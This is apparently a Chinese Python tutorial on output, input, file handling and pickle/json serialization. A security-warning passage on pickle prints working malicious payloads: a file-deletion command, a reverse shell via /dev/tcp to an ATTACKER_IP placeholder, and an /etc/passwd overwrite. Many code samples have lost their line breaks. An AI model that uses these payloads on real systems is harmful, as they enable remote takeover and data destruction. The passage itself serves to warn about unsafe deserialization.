Python两种输出值的方式: 表达式语句和 print() 函数。
第三种方式是使用文件对象的 write() 方法,
标准输出文件可以用 sys.stdout 引用。
日志输出:loggong或自定义日志
python输出值的方式:
表达式语句
print()函数
使用文件对象的write()方法
标准输出文件用sys.stdout引用
str.format()函数可以格式化输出值
更推荐f-string方法来格式化输出
字符串转换str()或repr(),更多方法看第七章字符串
*objects:
用于指定要打印的对象,可以是多个对象,用逗号分隔。这些对象会被转换为字符串并输出。
示例:
print("Hello", "World", 123)sep:
默认值为 ' '(空格),用于指定打印多个对象时的分隔符。
示例:
print("Hello", "World", sep="-") # 输出:Hello-Worldend:
默认值为 '\n'(换行符),用于指定打印结束后添加的字符。
示例:
print("Hello", end=" ") # 输出:Helloprint("World") # 输出:World(在同一行)print()# 空行
file:
默认值为 sys.stdout,用于指定输出流。可以是文件对象或其他支持写入的流。
示例:
with open("output.txt", "w") as f:print("Hello, World!", file=f)
flush:主要作用是确保输出立即写入目标流
默认值为 False,用于指定是否立即刷新输出流。
示例:
基本用法
print("Hello, World!", flush=True)实时输出:在需要实时输出的场景中,flush=True 确保输出立即显示,而不是等待缓冲区填满。这对于显示进度条、实时日志等非常有用。
import timefor i in range(10):# 搭配end和flush参数,实现进度条效果,只能在控制台上实现print(f"Progress: {i+1}/10", end="\r", flush=True)time.sleep(0.5)print() # 换行
调试:在调试时,flush=True 确保日志信息立即显示,帮助快速定位问题。
import timefor i in range(10):print(f"Debug: Step {i+1}", flush=True)time.sleep(0.5)
文件输出:在将输出重定向到文件时,flush=True 确保数据及时写入文件,避免因程序意外终止导致数据丢失。
import syswith open("output.txt", "w") as f:original_stdout = sys.stdoutsys.stdout = f# 将标准输出重定向到文件print("This will be written to output.txt", flush=True)sys.stdout = original_stdout# 恢复标准输出
多线程环境:在多线程环境中,flush=True 确保每个线程的输出立即显示,避免输出混乱。
import threadingimport timedef print_with_flush():for i in range(5):print(f"Thread {threading.current_thread().name}: {i}", flush=True)time.sleep(0.5)threads = []for i in range(3):t = threading.Thread(target=print_with_flush, name=f"Thread-{i}")threads.append(t)t.start()for t in threads:t.join()
f-string
格式化字符串
name = "Alice"age = 30print(f"Name: {name}, Age: {age}")
pprint是python的一个模块,用于以更易读的方式格式化和打印复杂的数据结构(如字典、列表、元组)等。pprint模块中的pprint函数是其核心功能,它能够将嵌套的数据结构以更美观和易读的方式输出,特别是在调试和查看复杂数据时非常有用。
导入模块
from pprint import pprintindent:设置缩进宽度,默认为1
data = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345' }}pprint(data, indent=4)
width:设置每行的最大宽度,默认为80
pprint(data, width=40)depth:设置嵌套的最大深度,默认None
pprint(data, depth=3)compact:控制输出的紧凑性,默认为False,True为更紧凑
pprint(data, compact=True)sort_dicts:控制字典键的排序,默认为True
pprint(data, compact=False)prettytable 是一个用于生成美观的 ASCII 表格的库,支持多种自定义选项,包括表头、表尾、对齐方式等。
pip install prettytable==3.10.0from prettytable import PrettyTable#pip install prettytable==3.10.0# 创建一个 PrettyTable 对象table = PrettyTable()# 设置表头table.field_names = ["City name", "Area", "Population", "Annual Rainfall"]# 添加行table.add_row(["Adelaide", 1295, 1158259, 600.5])table.add_row(["Brisbane", 5905, 1857594, 1146.4])table.add_row(["Darwin", 112, 120900, 1714.7])# 设置列的对齐方式table.align["City name"] = "l"# 左对齐table.align["Area"] = "l"# 左对齐table.align["Population"] = "c"# 居中对齐table.align["Annual Rainfall"] = "l"# 左对齐# 打印表格print(table)
需要一个功能强大且支持自定义的表格打印库,prettytable 是一个很好的选择。
tabulate 是另一个用于美化打印表格的库,支持多种表格格式,如纯文本、HTML、Markdown 等。
pip install tabulate==0.9.0from tabulate import tabulate# pip install tabulate==0.9.0# 定义数据data = [ ["Adelaide", 1295, 1158259, 600.5], ["Brisbane", 5905, 1857594, 1146.4], ["Darwin", 112, 120900, 1714.7]]# 定义表头headers = ["City name", "Area", "Population", "Annual Rainfall"]# 打印表格print(tabulate(data, headers, tablefmt="grid"))
需要一个简单易用且支持多种格式的表格打印库,tabulate 是一个不错的选择。
json模块可以将python数据结构格式化为json字符串,输出非常清晰,适合嵌套结构
import jsondata = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345' }}# 使用 json.dumps() 打印格式化后的 JSONjson_string = json.dumps(data, indent=4)print(json_string)data = json.loads(json_string)print(data)
PyYAML 是一个用于处理 YAML 格式的模块,可以将 Python 数据结构格式化为 YAML 格式,输出非常美观。
pip install pyyamlimport yamldata = {'name': 'Alice','age': 30,'hobbies': ['reading', 'traveling', 'cooking'],'address': {'street': '123 Main St','city': 'Anytown','state': 'CA','zip': '12345' }}# 使用 yaml.dump() 打印格式化后的 YAMLprint(yaml.dump(data, indent=4))# 输出结果age: 30address:city: Anytownstate: CAstreet: 123MainStzip: '12345'hobbies:-reading-traveling-cookingname: Alice
textwrap 模块用于格式化文本,特别是在处理长字符串时,可以自动换行和缩进。
import textwraptext = "This is a very long text that needs to be wrapped for better readability. It can be used to format paragraphs or any other long text."# 使用 textwrap.wrap() 格式化文本wrapped_text = textwrap.wrap(text, width=50)# 打印格式化后的文本print("\n".join(wrapped_text))# 输出结果This is averylongtextthatneedstobewrappedfor betterreadability. Itcanbeusedto formatparagraphs or any otherlongtext.
rich 是一个功能强大的模块,可以用于美化命令行输出,支持彩色文本、表格、树结构等。
pip install rich==13.7.0from rich import printfrom rich.table import Table# 创建一个表格table = Table(title="User Information")# 添加列table.add_column("Name", style="cyan")table.add_column("Age", style="magenta")table.add_column("City", style="green")# 添加行table.add_row("Alice", "30", "New York")table.add_row("Bob", "25", "Los Angeles")table.add_row("Charlie", "35", "Chicago")# 打印表格print(table)# 输出结果┌─────────┬─────┬─────────────┐│Name│Age│City│├─────────┼─────┼─────────────┤│Alice│30│NewYork││Bob│25│LosAngeles││Charlie│35│Chicago│└─────────┴─────┴─────────────┘
功能:从标准输入(通常是键盘)读取一行文本
语法:
user_input = input(prompt)参数
prompt:提示信息(可选),用于提示用户输入。
示例代码:
name = input("请输入您的名字: ")print(f"您好, {name}!")
功能:从标准输入读取数据,提供了更灵活的输入方式
常用方法:
read():读取所有输入直到EOF。
readline():读取一行输入
示例代码:
read()方法读取多行输入,读取所有输入直到EOF。EOF是输入ctrl+D或 ctrl+Z
import sysdef main():print('Please input a number:')# 读入所有标准输入数据data = sys.stdin.read()# 拆分成行lines = data.splitlines() # 按行分割# 输出读取到的每一行for line in lines:print(f"Line: {line}")if __name__ == "__main__":main()
readline()方法进行输入验证
import systry:while True:print('Please input a number:')# 读取一行输入并尝试转换为整数line = sys.stdin.readline().strip()if not line:breaktry:num = int(line)print(f"You entered the number: {num}")exceptValueError:print("Invalid input. Please enter a valid number.")except KeyboardInterrupt:print("\nProgram terminated by user.")
程序会不断提示用户输入一个数字。
sys.stdin.readline().strip()读取用户输入并去掉行末的换行符。
如果用户输入为空,程序会退出循环。
尝试将用户输入转换为整数,如果转换成功则输出该数字;如果转换失败(即输入不是有效的数字),会捕获ValueError异常并提示用户重新输入。
同样,用户可以通过按下Ctrl+C手动终止程序。
open函数用于打开一个文件,并返回一个文件对象。文件对象提供了多种方法来读取和写入文件。
基本语法
file_object = open(file_path, mode='r', encoding=None)file_path:文件路径,可以是相对路径或绝对路径
mode:文件打开模式,默认为r(只读模式)。常见的模式包括:
'r':只读模式(默认)
'w':写入模式,如果文件已存在则覆盖
'x':独占写入模式,如果文件已存在则抛出错误
'a':追加模式,写入内容会追加到文件末尾
't':文本模式(默认)
'b':二进制模式
'+':更新模式(读写)
encoding:指定文件的编码格式,如utf-8
示例:
# 打开文件进行读取file = open('example.txt', 'r', encoding='utf-8')content = file.read()print(content)file.close() # 关闭文件
with open是一种更现代、更安全的文件操作方式。它会自动管理文件的打开和关闭,即使在文件操作过程中发生异常,文件也会被正确关闭。
自动管理文件:with open 会自动关闭文件,即使在文件操作过程中发生异常。
代码更简洁:减少了文件关闭的代码,使代码更加简洁易读。
基本语法
with open(file_path, mode='r', encoding=None) as file_object:# 文件操作
示例代码:
# 使用 with open 读取文件with open('example.txt', 'r', encoding='utf-8') as file:content = file.read()print(content)# 使用 with open 写入文件with open('example.txt', 'w', encoding='utf-8') as file:file.write('Hello, World!')
读取文件
read():读取整个文件内容为一个字符串。
readline():读取文件的一行。
readlines():读取文件的所有行,返回一个列表,每行是一个元素。
示例:
# 读取整个文件with open('example.txt', 'r', encoding='utf-8') as file:content = file.read()print(content)# 逐行读取文件with open('example.txt', 'r', encoding='utf-8') as file:for line in file:print(line.strip()) # 使用 strip() 去掉行尾的换行符
写入文件
write():写入字符串到文件。
writelines():写入一个字符串列表到文件。
示例:
# 写入文件with open('example.txt', 'w', encoding='utf-8') as file:file.write('Hello, World!\n')file.write('This is another line.\n')# 写入多行lines = ['Line 1\n', 'Line 2\n', 'Line 3\n']with open('example.txt', 'w', encoding='utf-8') as file:file.writelines(lines)
tell():返回文件指针的当前位置。
seek(offset, whence):移动文件指针到指定位置。
0(默认):从文件开头开始计算偏移量
1:从当前位置开始计算偏移量
2:从文件末尾开始计算偏移量
offset:偏移量
whence:可选值:
flush():刷新文件缓冲区,将缓冲区的内容写入文件
close():关闭文件,释放系统资源
示例:
with open('example.txt', 'r', encoding='utf-8') as file:print(file.tell()) # 输出文件指针的当前位置file.seek(10) # 移动文件指针到第10个字符print(file.read(5)) # 从当前位置读取5个字符fp = open('example.txt', 'w', encoding='utf-8')fp.write('Hello, World!')fp.flush() # 刷新缓冲区fp.close() # 关闭文件
open 函数:用于打开文件,返回文件对象。
with open 语句:更安全、更简洁的文件操作方式,自动管理文件的打开和关闭。
文件操作方法:包括读取(read、readline、readlines)和写入(write、writelines)。
文件指针操作:使用 tell 和 seek 方法控制文件指针位置。
| 模式 | 描述 |
|---|---|
| r | 以只读方式打开文件。文件的指针将会放在文件的开头。这是默认模式。 |
| rb | 以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。 |
| r+ | 打开一个文件用于读写。文件指针将会放在文件的开头。 |
| rb+ | 以二进制格式打开一个文件用于读写。文件指针将会放在文件的开头。 |
| w | 打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。 |
| wb | 以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。 |
| w+ | 打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。 |
| wb+ | 以二进制格式打开一个文件用于读写。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。 |
| a | 打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 |
| ab | 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。 |
| a+ | 打开一个文件用于读写。如果该文件已存在,文件指针将会放在文件的结尾。文件打开时会是追加模式。如果该文件不存在,创建新文件用于读写。 |
| ab+ | 以二进制格式打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。如果该文件不存在,创建新文件用于读写。 |
| 模式 | r | r+ | w | w+ | a | a+ |
|---|---|---|---|---|---|---|
| 读 | + | + | + | + | ||
| 写 | + | + | + | + | + | |
| 创建 | + | + | + | + | ||
| 覆盖 | + | + | ||||
| 指针在开始 | + | + | + | + | ||
| 指针在结尾 | + | + |
pickle是python中的一个标准模块,实现了基本的数据序列和反序列化,用于将python对象序列化为字节流,以便于存储到文件、在网络上传输或者在不同python程序之间共享数据。
基本接口:
pickle.dump(obj,file[,protocol])pickle.load(obj,file[,protocol])pickle.dumps(obj,file[,protocol])pickle.loads(obj,file[,protocol])
有了pickle对象,就能对file以读取的形式打开:
x = pickle.load(file)注解:从file中读取一个字符串,并将它重构为原来的python对象
file:类文件对象,有read()和readline()接口。
参数讲解
对象序列化
它可以将各种python对象,如列表、字典、自定义类的实例等,转化为字节流。
import pickledata = [ {"name": "Alice", "age": 25},{"name": "Bob", "age": 30}]serialized_data = pickle.dumps(data)
这里的pickle.dumps函数将data这个python对象序列化为字节流,存储在serialized_data变量中
对象反序列化
可以将之前序列化得到的字节流再转换回原来的python对象
deserialized_data = pickle.loads(serialized_data)这里的pickle.loads函数将字节流serialized_data反序列化为原来的python对象,deserialized_data和之前的data是相同的内容
文件操作
序列化文件
with open("data.pkl","wb") as fp:pickle.dump(data,fp)
这里pickle.dump函数是将data对象序列化后写入data.pkl的文件中
从文件反序列化
with open("data.pkl","rb") as fp:loaded_data = pickle.load(fp)
这里pickle.load函数从data.pkl文件中读取字节流并反序列化为python对象
适用场景
python对象持久化
当需要保存python程序中的复杂对象(如自定义的数据结构、包含多种数据类型和嵌套关系的对象)到磁盘上,以便在后续的程序运行中恢复时,pickle非常有用。例如,保存一个训练好的机器学习模型(如果模型是用python原生对象表示的),可以使用pickle将其序列化到磁盘,之后再加载进行预测等操作。
进程间通信
在同一台机器上的不同python进程之间传递复杂的python对象时,可以使用pickle将对象序列化后通过管道、套接等方式传输,接收方再反序列化得到原始对象。不过要注意安全性问题,因为pickle可以执行反序列化时的代码。
局限性
pickle产生的字节流是Python特定的,不能直接被其他语言读取,不适合跨语言的数据交换。
由于pickle可以序列化几乎任何Python对象,存在一定的安全风险,如果从不可信的来源反序列化pickle数据,可能会导致代码执行任意的Python代码。
数据格式
pickle模块处理的是字节流,不是人类可读的格式,主要用于Python内部对象的序列化和反序列化。
对象支持范围
pickle可以处理几乎所有的Python对象,包括自定义类实例、函数等。
跨语言性
pickle是Python特定的,只能在Python环境中使用。
安全性
pickle存在安全风险,因为它可以执行反序列化对象中的代码。
⚠️ 安全警告pickle恶意代码演示:
1、执行系统命令
import pickleimport osclass Exploit:def __reduce__(self):# 执行系统命令(如删除文件)return (os.system, ('rm -f /tmp/important_file', ))payload = pickle.dumps(Exploit())# 受害者反序列化时触发pickle.loads(payload)
原理:
__reduce__方法在反序列化时被调用,返回可执行对象和参数
os.system执行任意系统命令
2、生成反向Shell
import pickleimport socketimport subprocessclass ReverseShell:def __reduce__(self):# 连接到攻击者IP:PORTreturn (subprocess.Popen, (('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1', ), {'shell': True}))payload = pickle.dumps(ReverseShell())# 替换ATTACKER_IP和ATTACKER_PORT后发送给受害者
效果:
受害者执行后与攻击者建立反向连接
攻击者获得受害者Shell控制权
3、文件覆盖攻击
import pickleclass FileOverwrite:def __reduce__(self):# 覆盖/etc/passwd(示例,实际需root权限)return (open, ('/etc/passwd', 'wb'))# 或写入恶意内容# return (open('/etc/passwd', 'wb').write, (b'malicious_content',))payload = pickle.dumps(FileOverwrite())
风险:
破坏系统关键文件导致服务瘫痪
植入后门或恶意脚本
json(JavaScript Object Notation)模块主要用于在python中处理JSON数据。它提供了dumps和loads方法
dumps()方法用于将python对象序列化转换为json格式的字符串。例如:
import jsondata = {'name': 'John', 'age': 30}json_string = json.dumps(data,ensure_ascii=False,indent=4)print(json_string)
ensure_ascii=False:解决json中的中文编码
indent=4:输出有4个缩进
separators=(',',':'):去掉键值对之间的空格
sort_keys=True:对键值对进行排序
loads()方法用于将json格式的字符串转换回python对象。例如:
json_string = '{"name": "John", "age": 30}'data = json.loads(json_string)print(data)
dump()方法用于将python对象序列化为JSON格式的字符串,并直接写入文件
# 写入 JSON 文件,有中文需要指定编码with open('data.json', 'w', encoding="utf-8") as fp:json.dump(data, fp, indent=4, ensure_ascii=False, sort_keys=True)
load()方法用于从文件中读取JSON格式的字符串,并将其转换为python对象
# 读取 JSON 文件,有中文需要指定编码with open('data.json', 'r', encoding="utf-8") as fp:loaded_data = json.load(fp)
适用场景
当需要与web服务进行数据交互时,因为JSON是一种在网络中广泛使用的数据格式,很多Web API返回的数据都是JSON格式。
在不同语言编写的程序之间交换数据,由于JSON格式在多种编程语言中都有很好的支持,所以很适合用于跨语言的数据传输
局限性
只能处理Python中的基本数据类型(如字典、列表、字符串、数字、布尔值等),对于自定义的类或复杂的Python对象(如函数等)无法直接进行序列化和反序列化。
数据格式
json模块处理的是JSON格式的文本字符串,是一种人类可读的格式,适合在不同系统间交换数据。
对象支持范围
json只能处理基本数据类型及其组合
跨语言性
json是跨语言的,很多编程语言都有对JSON格式的支持。
安全性
json相对安全,因为它只能处理基本类型。